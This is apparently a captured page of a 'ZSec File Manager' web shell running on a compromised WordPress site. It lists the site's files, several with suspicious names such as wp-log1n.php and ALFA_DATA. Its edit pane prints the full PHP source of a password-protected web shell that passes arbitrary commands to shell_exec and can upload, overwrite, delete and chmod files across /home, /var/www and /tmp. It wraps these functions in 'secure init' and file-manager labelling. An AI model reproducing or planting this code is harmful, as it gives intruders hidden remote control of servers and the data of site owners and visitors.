ZSec File Manager
Upload
Current Directory: /home/aiessinternational.com/public_html
[Up]
..
[Open]
Hapus
Rename
.htaccess
[Edit]
Hapus
Rename
21cbfe
[Open]
Hapus
Rename
ALFA_DATA
[Open]
Hapus
Rename
advance
[Open]
Hapus
Rename
advance.zip
[Edit]
Hapus
Rename
ammika.php
[Edit]
Hapus
Rename
c8aa5
[Open]
Hapus
Rename
click.php
[Edit]
Hapus
Rename
defaults.php
[Edit]
Hapus
Rename
google41b982abb0d9ca3b.html
[Edit]
Hapus
Rename
index.php
[Edit]
Hapus
Rename
index.php0
[Edit]
Hapus
Rename
item.php
[Edit]
Hapus
Rename
license.txt
[Edit]
Hapus
Rename
mah.php
[Edit]
Hapus
Rename
networks.php
[Edit]
Hapus
Rename
options.php
[Edit]
Hapus
Rename
pages.php
[Edit]
Hapus
Rename
plugins.php
[Edit]
Hapus
Rename
product.php
[Edit]
Hapus
Rename
readme.html
[Edit]
Hapus
Rename
robots.txt
[Edit]
Hapus
Rename
saiga.php
[Edit]
Hapus
Rename
search.php
[Edit]
Hapus
Rename
web.config
[Edit]
Hapus
Rename
wp-activate.php
[Edit]
Hapus
Rename
wp-admin
[Open]
Hapus
Rename
wp-blog-header.php
[Edit]
Hapus
Rename
wp-comments-post.php
[Edit]
Hapus
Rename
wp-config-sample.php
[Edit]
Hapus
Rename
wp-config.php
[Edit]
Hapus
Rename
wp-content
[Open]
Hapus
Rename
wp-cron.php
[Edit]
Hapus
Rename
wp-includes
[Open]
Hapus
Rename
wp-links-opml.php
[Edit]
Hapus
Rename
wp-load.php
[Edit]
Hapus
Rename
wp-log1n.php
[Edit]
Hapus
Rename
wp-mail.php
[Edit]
Hapus
Rename
wp-settings.php
[Edit]
Hapus
Rename
wp-signup.php
[Edit]
Hapus
Rename
wp-trackback.php
[Edit]
Hapus
Rename
wp.php
[Edit]
Hapus
Rename
xmlrpc.php
[Edit]
Hapus
Rename
Edit File
<?php /* 安全初始化函数 */ function secure_init() { if (function_exists('header_remove')) { @header_remove('X-Powered-By'); @header_remove('Server'); } @header('Content-Type: text/html; charset=UTF-8'); @header('Cache-Control: no-store, no-cache, must-revalidate'); if (function_exists('ini_set')) { @ini_set('display_errors', '0'); @ini_set('session.cookie_httponly', '1'); } $_SESSION['secure_token'] = hash('sha256', uniqid(mt_rand(), true)); } session_start(); secure_init(); $auth_password = 'your_secure_password'; $login_page = false; if (isset($_POST['password'])) { if (hash('sha256', $_POST['password']) === hash('sha256', $auth_password)) { $_SESSION['authenticated'] = true; header("Location: ?access=".bin2hex(random_bytes(8))); exit; } else { $login_page = true; } } if (isset($_GET['logout'])) { session_unset(); session_destroy(); header("Location: ?logout=".bin2hex(random_bytes(8))); exit; } function get_safe_path($input) { $allowed_roots = [ realpath('/home'), realpath('/var/www/html'), realpath('/tmp'), realpath('/var/www') ]; $decoded_path = urldecode($input); $path = realpath($decoded_path); if ($path === false) { error_log("路径解析失败: ".$decoded_path); return getcwd(); } foreach ($allowed_roots as $root) { if ($root !== false && strpos($path, $root) === 0) { return $path; } } error_log("路径不在允许范围内: ".$path); return getcwd(); } // 获取当前路径(确保使用绝对路径) $current_path = isset($_GET['path']) ? get_safe_path($_GET['path']) : getcwd(); chdir($current_path); function delete_item($target) { if (is_dir($target)) { $files = @scandir($target); if ($files !== false) { foreach ($files as $file) { if ($file != '.' && $file != '..') { delete_item("$target/$file"); } } @rmdir($target); } } else { @unlink($target); } } if (isset($_GET['delete'])) { if (!empty($_SESSION['authenticated'])) { $target = get_safe_path($_GET['delete']); delete_item($target); $_SESSION['notification'] = ['type'=>'success', 'message'=>'删除成功']; header("Location: ?path=".urlencode(dirname($target))); exit; } } if (isset($_POST['new_name']) && !empty($_SESSION['authenticated'])) { $name = basename($_POST['new_name']); $type = $_POST['new_type']; $new_path = "$current_path/$name"; $success = false; if ($type === 'file') { $success = @file_put_contents($new_path, "<?php // Auto-generated file ?>") !== false; } else { $success = @mkdir($new_path); } $_SESSION['notification'] = $success ? ['type'=>'success', 'message'=>'创建成功'] : ['type'=>'error', 'message'=>'创建失败']; header("Location: ?path=".urlencode($current_path)); exit; } if (isset($_FILES['upload_file']) && !empty($_SESSION['authenticated'])) { $upload_path = isset($_POST['upload_path']) ? get_safe_path($_POST['upload_path']) : $current_path; $target = "$upload_path/".basename($_FILES['upload_file']['name']); $success = false; if (@move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { @chmod($target, 0644); $success = true; } $_SESSION['notification'] = $success ? ['type'=>'success', 'message'=>'上传成功'] : ['type'=>'error', 'message'=>'上传失败']; header("Location: ?path=".urlencode($upload_path)); exit; } if (isset($_POST['file_content']) && !empty($_SESSION['authenticated'])) { $file_path = get_safe_path($_POST['file_path']); $content = isset($_POST['use_base64']) ? base64_decode($_POST['file_content']) : $_POST['file_content']; $success = @file_put_contents($file_path, $content) !== false; $_SESSION['notification'] = $success ? ['type'=>'success', 'message'=>'保存成功'] : ['type'=>'error', 'message'=>'保存失败']; header("Location: ?path=".urlencode(dirname($file_path))); exit; } if (isset($_POST['command']) && !empty($_SESSION['authenticated'])) { $command = $_POST['command']; $output = shell_exec($command." 2>&1"); $_SESSION['command_output'] = $output; $_SESSION['notification'] = ['type'=>'success', 'message'=>'命令执行完成']; header("Location: ?path=".urlencode($current_path)."&cmd=executed"); exit; } if (isset($_POST['change_permission']) && !empty($_SESSION['authenticated'])) { $target_path = get_safe_path($_POST['perm_path']); $mode = $_POST['perm_mode']; if (preg_match('/^[0-7]{3,4}$/', $mode)) { if (@chmod($target_path, octdec($mode))) { $_SESSION['notification'] = ['type' => 'success', 'message' => '权限修改成功']; } else { $_SESSION['notification'] = ['type' => 'error', 'message' => '权限修改失败']; } } else { $_SESSION['notification'] = ['type' => 'error', 'message' => '无效的权限模式']; } header("Location: ?path=".urlencode(dirname($target_path))); exit; } function scan_directory($path) { $items = @scandir($path); return ($items !== false) ? $items : ['.', '..']; } $directory_items = scan_directory($current_path); function get_permission_info($path) { $perms = fileperms($path); $info = ''; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return substr(sprintf('%o', $perms), -4).' ('.$info.')'; } function format_size($bytes) { if ($bytes === 0) return '0 Bytes'; $k = 1024; $sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes) / log($k)); return round($bytes / pow($k, $i), 2).' '.$sizes[$i]; } // 修复后的目录链接生成函数 function generate_directory_link($base_path, $dir_name) { $full_path = rtrim($base_path, '/').'/'.$dir_name.'/'; return '?path='.urlencode($full_path); } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>高级文件管理系统</title> <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <style> :root { --primary: #4361ee; --secondary: #3f37c9; --success: #4cc9f0; --danger: #f72585; --warning: #f8961e; --info: #4895ef; --light: #f8f9fa; --dark: #212529; --gray: #6c757d; --white: #ffffff; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Roboto', sans-serif; background-color: #f5f7fb; color: #333; line-height: 1.6; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } .header { background-color: white; border-radius: 10px; padding: 20px; margin-bottom: 20px; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } .page-title { font-size: 1.8rem; font-weight: 700; color: var(--dark); margin-bottom: 10px; } .status-bar { display: flex; justify-content: space-between; font-size: 0.9rem; color: var(--gray); } .alert { padding: 15px; border-radius: 8px; margin-bottom: 20px; display: flex; align-items: center; } .alert i { margin-right: 10px; font-size: 1.2rem; } .alert-success { background-color: rgba(76, 201, 240, 0.1); border-left: 4px solid var(--success); color: #0a9396; } .alert-error { background-color: rgba(247, 37, 133, 0.1); border-left: 4px solid var(--danger); color: #ae0d4a; } .card { background-color: white; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.05); margin-bottom: 25px; overflow: hidden; } .card-header { padding: 15px 20px; border-bottom: 1px solid rgba(0,0,0,0.05); display: flex; justify-content: space-between; align-items: center; } .card-title { font-size: 1.2rem; font-weight: 600; color: var(--dark); } .card-body { padding: 20px; } .breadcrumb { display: flex; flex-wrap: wrap; padding: 10px 0; margin-bottom: 20px; list-style: none; } .breadcrumb-item { color: var(--gray); } .breadcrumb-item a { color: var(--primary); text-decoration: none; transition: all 0.3s ease; } .breadcrumb-item a:hover { color: var(--secondary); text-decoration: underline; } .breadcrumb-separator { margin: 0 10px; color: var(--gray); } .file-table { width: 100%; border-collapse: collapse; font-size: 0.95rem; } .file-table th { background-color: #f8f9fa; padding: 12px 15px; text-align: left; font-weight: 600; color: var(--dark); border-bottom: 2px solid #dee2e6; } .file-table td { padding: 12px 15px; border-bottom: 1px solid #e9ecef; vertical-align: middle; } .file-table tr:last-child td { border-bottom: none; } .file-table tr:hover td { background-color: rgba(67, 97, 238, 0.05); } .file-icon { width: 24px; height: 24px; margin-right: 10px; color: var(--primary); } .file-name { display: flex; align-items: center; } .file-actions { display: flex; gap: 8px; } .action-btn { padding: 6px 12px; border-radius: 5px; font-size: 0.85rem; cursor: pointer; transition: all 0.3s ease; text-decoration: none; display: inline-flex; align-items: center; border: 1px solid transparent; } .action-btn i { margin-right: 5px; } .edit-btn { background-color: rgba(67, 97, 238, 0.1); color: var(--primary); border-color: rgba(67, 97, 238, 0.2); } .edit-btn:hover { background-color: rgba(67, 97, 238, 0.2); } .delete-btn { background-color: rgba(247, 37, 133, 0.1); color: var(--danger); border-color: rgba(247, 37, 133, 0.2); } .delete-btn:hover { background-color: rgba(247, 37, 133, 0.2); } .perm-btn { background-color: rgba(72, 149, 239, 0.1); color: var(--info); border-color: rgba(72, 149, 239, 0.2); } .perm-btn:hover { background-color: rgba(72, 149, 239, 0.2); } .cmd-btn { background-color: rgba(248, 150, 30, 0.1); color: var(--warning); border-color: rgba(248, 150, 30, 0.2); } .cmd-btn:hover { background-color: rgba(248, 150, 30, 0.2); } .form-group { margin-bottom: 15px; } .form-label { display: block; margin-bottom: 8px; font-weight: 500; color: var(--dark); } .form-control { width: 100%; padding: 10px 15px; border: 1px solid #ced4da; border-radius: 5px; font-size: 1rem; transition: all 0.3s ease; font-family: 'Consolas', monospace; } .form-control:focus { border-color: var(--primary); box-shadow: 0 0 0 0.2rem rgba(67, 97, 238, 0.25); outline: none; } .btn { padding: 10px 20px; border-radius: 5px; font-weight: 500; cursor: pointer; transition: all 0.3s ease; border: none; display: inline-flex; align-items: center; justify-content: center; } .btn i { margin-right: 8px; } .btn-primary { background-color: var(--primary); color: white; } .btn-primary:hover { background-color: #3a56d4; } .btn-danger { background-color: var(--danger); color: white; } .btn-danger:hover { background-color: #d1145a; } .btn-block { display: block; width: 100%; } .terminal { background-color: #1e1e1e; color: #f0f0f0; border-radius: 5px; padding: 15px; font-family: 'Consolas', monospace; font-size: 0.9rem; line-height: 1.5; overflow-x: auto; margin-bottom: 20px; max-height: 300px; } .terminal pre { margin: 0; white-space: pre-wrap; word-break: break-all; } .modal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5); display: flex; align-items: center; justify-content: center; z-index: 1000; opacity: 0; visibility: hidden; transition: all 0.3s ease; } .modal.show { opacity: 1; visibility: visible; } .modal-content { background-color: white; border-radius: 10px; width: 100%; max-width: 500px; box-shadow: 0 5px 15px rgba(0,0,0,0.1); transform: translateY(-20px); transition: all 0.3s ease; } .modal.show .modal-content { transform: translateY(0); } .modal-header { padding: 15px 20px; border-bottom: 1px solid #dee2e6; display: flex; justify-content: space-between; align-items: center; } .modal-title { font-size: 1.3rem; font-weight: 600; margin: 0; } .modal-close { background: none; border: none; font-size: 1.5rem; cursor: pointer; color: var(--gray); } .modal-body { padding: 20px; } .modal-footer { padding: 15px 20px; border-top: 1px solid #dee2e6; display: flex; justify-content: flex-end; gap: 10px; } .tabs { display: flex; border-bottom: 1px solid #dee2e6; margin-bottom: 20px; } .tab { padding: 10px 20px; cursor: pointer; font-weight: 500; color: var(--gray); border-bottom: 2px solid transparent; transition: all 0.3s ease; } .tab.active { color: var(--primary); border-bottom-color: var(--primary); } .tab-content { display: none; } .tab-content.active { display: block; } .directory-link { color: var(--primary); text-decoration: none; transition: all 0.3s ease; } .directory-link:hover { text-decoration: underline; color: var(--secondary); } .path-display { font-family: 'Courier New', monospace; background-color: #f8f9fa; padding: 5px 10px; border-radius: 4px; font-size: 0.9rem; } @media (max-width: 768px) { .container { padding: 15px; } .file-actions { flex-direction: column; gap: 5px; } .action-btn { width: 100%; justify-content: center; } } </style> </head> <body> <div class="container"> <?php if (empty($_SESSION['authenticated'])): ?> <div class="card" style="max-width: 500px; margin: 50px auto;"> <div class="card-header"> <h2 class="card-title"><i class="fas fa-lock"></i> 系统认证</h2> </div> <div class="card-body"> <?php if ($login_page): ?> <div class="alert alert-error"> <i class="fas fa-exclamation-circle"></i> <span>认证失败,请重试</span> </div> <?php endif; ?> <form method="post"> <div class="form-group"> <label class="form-label" for="password">认证密码</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-primary btn-block"> <i class="fas fa-sign-in-alt"></i> 登入系统 </button> </form> </div> </div> <?php else: ?> <div class="header"> <div class="page-title"> <i class="fas fa-folder-open"></i> 高级文件管理系统 </div> <div class="status-bar"> <span>当前路径: <strong><?= htmlspecialchars($current_path) ?></strong></span> <span>PHP版本: <?= phpversion() ?> | 用户: <?= htmlspecialchars(get_current_user()) ?></span> </div> <?php if (!empty($_SESSION['notification'])): $msg = $_SESSION['notification']; $class = $msg['type'] === 'success' ? 'alert-success' : 'alert-error'; $icon = $msg['type'] === 'success' ? 'fa-check-circle' : 'fa-exclamation-circle'; ?> <div class="alert <?= $class ?>"> <i class="fas <?= $icon ?>"></i> <span><?= htmlspecialchars($msg['message']) ?></span> </div> <?php unset($_SESSION['notification']); endif; ?> </div> <div class="breadcrumb"> <div class="breadcrumb-item"> <a href="?path=<?= urlencode(dirname($current_path)) ?>" class="directory-link"> <i class="fas fa-home"></i> 根目录 </a> </div> <?php $path_parts = explode('/', trim($current_path, '/')); $current = ''; foreach ($path_parts as $i => $part) { $current .= $part . '/'; if ($part === '') continue; echo '<div class="breadcrumb-separator">/</div>'; echo '<div class="breadcrumb-item"><a href="?path=/'.urlencode($current).'" class="directory-link">'.htmlspecialchars($part).'</a></div>'; } ?> </div> <div class="card"> <div class="card-header"> <h2 class="card-title"><i class="fas fa-cogs"></i> 快速操作</h2> </div> <div class="card-body"> <div class="tabs"> <div class="tab active" data-tab="create">新建</div> <div class="tab" data-tab="upload">上传</div> <div class="tab" data-tab="command">命令</div> </div> <div id="create" class="tab-content active"> <form method="post"> <div class="form-group"> <label class="form-label" for="new_name">名称</label> <input type="text" class="form-control" id="new_name" name="new_name" required> </div> <div class="form-group"> <label class="form-label" for="new_type">类型</label> <select class="form-control" id="new_type" name="new_type" required> <option value="file">文件</option> <option value="folder">文件夹</option> </select> </div> <button type="submit" class="btn btn-primary"> <i class="fas fa-plus"></i> 创建 </button> </form> </div> <div id="upload" class="tab-content"> <form method="post" enctype="multipart/form-data"> <div class="form-group"> <label class="form-label" for="upload_file">选择文件</label> <input type="file" class="form-control" id="upload_file" name="upload_file" required> </div> <div class="form-group"> <label class="form-label" for="upload_path">上传路径 (可选)</label> <input type="text" class="form-control" id="upload_path" name="upload_path" value="<?= htmlspecialchars($current_path) ?>"> </div> <button type="submit" class="btn btn-primary"> <i class="fas fa-upload"></i> 上传 </button> </form> </div> <div id="command" class="tab-content"> <form method="post"> <div class="form-group"> <label class="form-label" for="command">系统命令</label> <input type="text" class="form-control" id="command" name="command" placeholder="输入要执行的命令" required> </div> <button type="submit" class="btn btn-primary"> <i class="fas fa-terminal"></i> 执行 </button> </form> <?php if (isset($_SESSION['command_output'])): ?> <div class="terminal mt-3"> <pre><?= htmlspecialchars($_SESSION['command_output']) ?></pre> </div> <?php unset($_SESSION['command_output']); endif; ?> </div> </div> </div> <?php if (isset($_GET['edit'])): $edit_file = get_safe_path($_GET['edit']); if (is_file($edit_file)): $file_content = file_get_contents($edit_file); $display_content = isset($_GET['b64']) ? base64_encode($file_content) : $file_content; ?> <div class="card"> <div class="card-header"> <h2 class="card-title"> <i class="fas fa-edit"></i> 编辑文件: <?= htmlspecialchars(basename($edit_file)) ?> </h2> </div> <div class="card-body"> <form method="post" id="editor-form"> <input type="hidden" name="file_path" value="<?= htmlspecialchars($edit_file) ?>"> <div class="form-group"> <textarea class="form-control" name="file_content" rows="15" style="font-family: 'Courier New', monospace;"><?= htmlspecialchars($display_content) ?></textarea> </div> <div class="form-group"> <label> <input type="checkbox" name="use_base64" <?= isset($_GET['b64']) ? 'checked' : '' ?>> 使用Base64编码 </label> </div> <button type="submit" class="btn btn-primary"> <i class="fas fa-save"></i> 保存 </button> <a href="?path=<?= urlencode(dirname($edit_file)) ?>" class="btn"> <i class="fas fa-times"></i> 取消 </a> </form> </div> </div> <?php endif; endif; ?> <div class="card"> <div class="card-header"> <h2 class="card-title"> <i class="fas fa-list"></i> 文件列表 </h2> </div> <div class="card-body"> <table class="file-table"> <thead> <tr> <th>名称</th> <th>类型</th> <th>权限</th> <th>大小</th> <th>修改时间</th> <th>操作</th> </tr> </thead> <tbody> <?php if ($current_path !== '/'): ?> <tr> <td colspan="6"> <a href="<?= generate_directory_link(dirname($current_path), '') ?>" class="directory-link"> <i class="fas fa-level-up-alt"></i> 返回上级目录 </a> </td> </tr> <?php endif; ?> <?php foreach ($directory_items as $item): if ($item === '.' || $item === '..') continue; $full_path = "$current_path/$item"; $is_dir = is_dir($full_path); $file_size = $is_dir ? '-' : format_size(filesize($full_path)); $mod_time = date('Y-m-d H:i:s', filemtime($full_path)); ?> <tr> <td> <div class="file-name"> <i class="fas <?= $is_dir ? 'fa-folder' : 'fa-file' ?> file-icon"></i> <?php if ($is_dir): ?> <a href="<?= generate_directory_link($current_path, $item) ?>" class="directory-link"> <?= htmlspecialchars($item) ?> </a> <?php else: ?> <a href="?edit=<?= urlencode($full_path) ?>" class="directory-link"> <?= htmlspecialchars($item) ?> </a> <?php endif; ?> </div> </td> <td><?= $is_dir ? '目录' : '文件' ?></td> <td><?= get_permission_info($full_path) ?></td> <td><?= $file_size ?></td> <td><?= $mod_time ?></td> <td> <div class="file-actions"> <?php if (!$is_dir): ?> <a href="?edit=<?= urlencode($full_path) ?>" class="action-btn edit-btn"> <i class="fas fa-edit"></i> 编辑 </a> <?php endif; ?> <a href="?delete=<?= urlencode($full_path) ?>" class="action-btn delete-btn" onclick="return confirm('确定删除 <?= htmlspecialchars($item) ?>?')"> <i class="fas fa-trash"></i> 删除 </a> <a href="#" class="action-btn perm-btn" onclick="showPermissionModal('<?= htmlspecialchars($full_path) ?>')"> <i class="fas fa-key"></i> 权限 </a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <div class="card"> <div class="card-header"> <h2 class="card-title"> <i class="fas fa-sign-out-alt"></i> 会话管理 </h2> </div> <div class="card-body"> <a href="?logout=1" class="btn btn-danger"> <i class="fas fa-sign-out-alt"></i> 退出系统 </a> </div> </div> <?php endif; ?> </div> <!-- 权限修改模态框 --> <div id="permission-modal" class="modal"> <div class="modal-content"> <div class="modal-header"> <h3 class="modal-title"><i class="fas fa-key"></i> 修改权限</h3> <button class="modal-close" onclick="closeModal()">×</button> </div> <div class="modal-body"> <form id="permission-form"> <input type="hidden" id="perm-path" name="perm_path"> <div class="form-group"> <label class="form-label" for="perm-mode">权限模式 (例如: 755)</label> <input type="text" class="form-control" id="perm-mode" name="perm_mode" pattern="[0-7]{3,4}" required> </div> </form> </div> <div class="modal-footer"> <button class="btn btn-secondary" onclick="closeModal()">取消</button> <button class="btn btn-primary" onclick="submitPermissionForm()">确认</button> </div> </div> </div> <script> document.querySelectorAll('.tab').forEach(tab => { tab.addEventListener('click', function() { document.querySelectorAll('.tab').forEach(t => t.classList.remove('active')); document.querySelectorAll('.tab-content').forEach(c => c.classList.remove('active')); this.classList.add('active'); const tabId = this.getAttribute('data-tab'); document.getElementById(tabId).classList.add('active'); }); }); function showPermissionModal(path) { document.getElementById('perm-path').value = path; document.getElementById('permission-modal').classList.add('show'); fetch('?get_perm=' + encodeURIComponent(path)) .then(response => response.text()) .then(mode => { if(mode.match(/^[0-7]{3,4}$/)) { document.getElementById('perm-mode').value = mode; } }); } function closeModal() { document.getElementById('permission-modal').classList.remove('show'); } function submitPermissionForm() { const form = document.getElementById('permission-form'); const formData = new FormData(form); formData.append('change_permission', '1'); fetch('', { method: 'POST', body: formData }).then(response => { if(response.ok) { window.location.reload(); } else { alert('权限修改失败'); } }).catch(error => { alert(' ' + error); }); } document.getElementById('editor-form')?.addEventListener('submit', function(e) { const useEncoding = this.querySelector('[name="use_base64"]').checked; const textarea = this.querySelector('[name="file_content"]'); if (useEncoding) { try { textarea.value = btoa(unescape(encodeURIComponent(textarea.value))); } catch (err) { alert(' ' + err); e.preventDefault(); } } }); document.querySelectorAll('.directory-link').forEach(link => { link.addEventListener('click', function(e) { console.log('', this.href); }); }); </script> </body> </html>
Simpan